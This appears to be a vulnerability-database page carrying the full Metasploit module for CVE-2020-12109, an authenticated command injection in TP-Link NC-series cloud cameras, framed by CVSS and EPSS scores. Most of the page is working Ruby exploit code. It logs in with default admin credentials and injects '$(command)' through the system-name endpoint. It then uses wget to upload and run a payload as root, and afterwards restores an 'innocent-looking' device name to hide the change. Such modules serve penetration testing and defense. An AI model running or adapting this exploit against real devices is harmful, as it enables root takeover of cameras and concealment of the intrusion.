Lucene search

K
metasploitPietro Oliva <[email protected]>MSF:EXPLOIT-LINUX-HTTP-TP_LINK_NCXXX_BONJOUR_COMMAND_INJECTION-
HistorySep 14, 2020 - 6:20 p.m.

TP-Link Cloud Cameras NCXXX Bonjour Command Injection

2020-09-1418:20:42
Pietro Oliva <[email protected]>
www.rapid7.com
84

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230, NC250, NC260, NC450) are vulnerable to an authenticated command injection. In all devices except NC210, despite a check on the name length in swSystemSetProductAliasCheck, no other checks are in place in order to prevent shell metacharacters from being introduced. The system name would then be used in swBonjourStartHTTP as part of a shell command where arbitrary commands could be injected and executed as root. NC210 devices cannot be exploited directly via /setsysname.cgi due to proper input validation. NC210 devices are still vulnerable since swBonjourStartHTTP did not perform any validation when reading the alias name from the configuration file. The configuration file can be written, and code execution can be achieved by combining this issue with CVE-2020-12110.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
        'Description' => %q{
          TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
          NC250, NC260, NC450) are vulnerable to an authenticated command
          injection. In all devices except NC210, despite a check on the name length in
          swSystemSetProductAliasCheck, no other checks are in place in order
          to prevent shell metacharacters from being introduced. The system name
          would then be used in swBonjourStartHTTP as part of a shell command
          where arbitrary commands could be injected and executed as root. NC210 devices
          cannot be exploited directly via /setsysname.cgi due to proper input
          validation. NC210 devices are still vulnerable since swBonjourStartHTTP
          did not perform any validation when reading the alias name from the
          configuration file. The configuration file can be written, and code
          execution can be achieved by combining this issue with CVE-2020-12110.
        },
        'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ],
          [ 'CVE', '2020-12109']
        ],
        'DisclosureDate' => '2020-04-29',
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSLE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'Targets' => [
          [
            'TP-Link NC200, NC220, NC230, NC250',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ 'wget' ]
            }
          ],
          [
            'TP-Link NC260, NC450',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ 'wget' ],
              'DefaultOptions' => { 'SSL' => true }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The web interface password for the specified username', 'admin' ])
      ]
    )
  end

  def login
    user = datastore['USERNAME']
    pass = Base64.strict_encode64(datastore['PASSWORD'])
    if target.name == 'TP-Link NC260, NC450'
      pass = Rex::Text.md5(pass)
    end

    print_status("Authenticating with #{user}:#{pass} ...")
    begin
      res = send_request_cgi({
        'uri' => '/login.fcgi',
        'method' => 'POST',
        'vars_post' => {
          'Username' => user,
          'Password' => pass
        }
      })
      if res.nil? || res.code == 404
        fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?')
      end
      if res.body =~ /"errorCode":0/ && res.headers.key?('Set-Cookie') && res.body =~ /token/
        print_good("Logged-in as #{user}")
        @cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1]
        print_good("Got cookie: #{@cookie}")
        @token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1]
        print_good("Got token: #{@token}")
      else
        fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Connection failed')
    end
  end

  def enable_bonjour
    res = send_request_cgi({
      'uri' => '/setbonjoursetting.fcgi',
      'method' => 'POST',
      'encode_params' => false,
      'cookie' => "sess=#{@cookie}",
      'vars_post' => {
        'bonjourState' => '1',
        'token' => @token.to_s
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
    return nil
  end

  def sys_name(cmd)
    res = send_request_cgi({
      'uri' => '/setsysname.fcgi',
      'method' => 'POST',
      'encode_params' => true,
      'cookie' => "sess=#{@cookie}",
      'vars_post' => {
        'sysname' => cmd,
        'token' => @token.to_s
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
    return nil
  end

  def execute_command(cmd, _opts = {})
    print_status("Executing command: #{cmd}")
    sys_name("$(#{cmd})")
  end

  def exploit
    login # Get cookie and csrf token
    enable_bonjour # Enable bonjour service
    execute_cmdstager # Upload and execute payload
    sys_name('NC200') # Set back an innocent-looking device name
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

Related for MSF:EXPLOIT-LINUX-HTTP-TP_LINK_NCXXX_BONJOUR_COMMAND_INJECTION-